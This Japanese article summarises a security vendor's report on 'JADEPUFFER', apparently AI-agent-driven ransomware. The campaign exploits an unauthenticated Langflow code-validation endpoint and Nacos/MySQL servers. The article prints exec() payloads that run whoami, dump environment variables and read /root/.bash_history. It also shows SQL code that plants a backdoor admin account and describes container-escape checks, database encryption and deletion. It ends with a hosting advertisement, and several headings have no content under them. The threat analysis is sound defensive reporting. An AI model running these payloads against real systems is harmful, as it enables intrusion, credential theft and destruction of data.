結論から：Sysdig は JADEPUFFER を Agentic Threat Actor（ATA、エージェント型脅威アクター）と定義しました。攻撃能力は AI Agent によって提供され、従来の「人間が操作するツールキット」とは質が異なります。レポートで正式に提示された新分類です。

タイムライン：

成因の段階分解：この API はユーザー定義関数ノードの構文検証用で、実装は ast.parse() → compile() → exec()。認証もサンドボックスもありません。Python では関数定義時にデコレータとデフォルト引数が定義瞬間に即評価されます。攻撃者は悪意コードをデフォルト引数に埋め込み、Langflow が「合法性チェック」を行う段階でサーバー上で既に実行——ログイン不要、HTTP POST 一発で RCEです。

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')

Trend Micro は Flodrix ボットネット追跡で上記の典型 payload を記録しています（別波の独立悪用）。最終段階では 700 バイトの Bash スクリプトが Flodrix ELF バイナリを取得し、TCP/UDP 二系統 DDoS ボットネットを形成します。

パッチ分析：Langflow 1.3.0 は post_validate_code に _current_user: CurrentActiveUser 依存注入を追加。FastAPI が JWT Bearer または x-api-key を先に検証し、失敗時 401/403 で脆弱ロジックへ到達しません。

Phase 1 — Langflow ホスト掌握：全 payload は Base64 エンコード Python を RCE エンドポイント経由で投入。

Phase 2 — MySQL + Nacos 本番サーバー突破：Nacos はアリババ系マイクロサービスで広く使われます。CVE-2021-29441 の認証バイパス履歴があり、デフォルト JWT 署名鍵は 2020 年から文書公開——多くのデプロイで未変更のままです。

Nacos バックドア管理者注入——31 秒の自律修復ループ（UTC タイムスタンプ）：

cur.execute('DELETE FROM users WHERE username="xadmin"')
hash_val = bcrypt.hashpw(b'admin123', bcrypt.gensalt(rounds=10)).decode()
cur.execute('INSERT INTO users (username, password, enabled) VALUES ("xadmin", "' + hash_val + '", 1)')
cur.execute('INSERT INTO roles (username, role) VALUES ("xadmin", "ROLE_ADMIN")')

コンテナ脱出プローブ（約 8 分）：MySQL INTO OUTFILE / LOAD_FILE で書込・読戻し、/var/run/docker.sock、/proc/1/cgroup、/etc/hostname を確認。mysql.func UDF による権限昇格も検査。ランサム前に _pwn_cleanup.txt 完了マーカーを書込——Sysdig は固定スクリプトより構造化 Agent の「次フェーズ合図」と分析しています。

破壊的暗号化：全 1,342 件の Nacos 設定を AES_ENCRYPT() で暗号化し、config_info と his_config_info を削除。ランサム表 README_RANSOM を作成。鍵は uuid4() ランダム生成で一度だけ stdout 出力、保存なし——支払い後も復元不可。身代金文書は AES-256 と記載するが、MySQL デフォルトは実質 AES-128-ECB です。

大規模破壊：ROI 優先で DROP DATABASE。コードコメントに「64.20.53[.]230 へバックアップ済み」と自叙——Sysdig は独立証拠でデータ回収を確認していません。外部キー制約で削除失敗時、次 payload が SET GLOBAL FOREIGN_KEY_CHECKS=0 を自動付加——失敗理由を理解した上での修正です。

Sysdig 公式防御勧告と事件 IOC に基づき、チームは直ちに以下を実行できます：

Sysdig が「LLM 駆動」を裏付ける四つの独立エビデンス：

業界反応：BleepingComputer、Dark Reading 等は「初の完全 AI 駆動ランサム」と報じました。CSO Online はレッドチーム専門家 Vibhum Dubey のコメントを引用——暗号化前の「静かな期間」こそ懸念で、Agent が ID 体系を把握し検知を回避する間、侵入の見え方は毎回わずかに異なる可能性。複数メディアは LLMjacking に言及——窃取資格情報で Agent を駆動すれば多段攻撃の限界コストはほぼゼロに近づきます。

Sysdig の四点結論：① ランサムの閾値が「Agent を走らせるコスト」まで低下；② 旧 CVE が自動武器化され「歴史漏洞庫を総当たり」のコストがほぼゼロ；③ LLM 自己叙事が防御側に可読な検知面を提供；④ 「バックアップ済み」は Agent コードコメントの自叙で、未検証。

代替案を整理すると：インターネット上で Langflow/Nacos を公開した Agent 試作は API Key と内部ネットワークトポロジをスキャナに渡す行為に等しく；ローカルノート PC で 7×24 自律 Agentはアウトバウンド制御とランタイム検知が困難；仮想化 macOS で Agent オーケストレーションは EULA 違反で Metal 性能も制限されます。iOS CI/CD、完全 root、分離テスト環境、7×24 安定性が必要な AI Agent 本番とレッドチームシミュレーションには、KVMNODE 専用 Mac Mini M4 クラウドレンタルが通常はより良い選択です：100% 物理実機、sudo 開放、日/週/月の柔軟契約。Agent ワークフローを本番ネットワークから隔離した監査可能環境で稼働できます。JADEPUFFER はスキル閾値が Agent 実行コストまで下がった警告——防御側はインターネット公開アプリサーバー、未硬化構成センター、インターネット到達可能な DB 管理者アカウントを最優先の攻撃面と見なすべきです。

参考：Sysdig「JADEPUFFER: Agentic ransomware for automated database extortion」；BleepingComputer、Dark Reading、CyberScoop、CSO Online、Security Affairs；Trend Micro CVE-2025-3248 / Flodrix 分析；NVD、CISA KEV カタログ。